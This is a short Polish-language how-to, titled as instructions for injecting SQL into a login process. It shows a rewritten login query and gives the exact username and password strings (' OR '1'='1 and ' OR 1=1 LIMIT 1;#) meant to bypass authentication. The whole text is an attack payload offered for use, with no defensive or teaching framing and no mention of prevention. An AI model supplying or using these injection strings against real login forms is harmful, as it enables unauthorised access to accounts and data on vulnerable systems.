jak wstrzyknąć sql w procesie logowania

Zaczynając od zapytania o cel:

SELECT   *
FROM     users
WHERE    username = '' OR '1'='1' 
AND      password = '' OR 1=1 LIMIT 1;#'

Otrzymujemy nazwę użytkownika ' OR '1'='1 a hasło to ' OR 1=1 LIMIT 1;#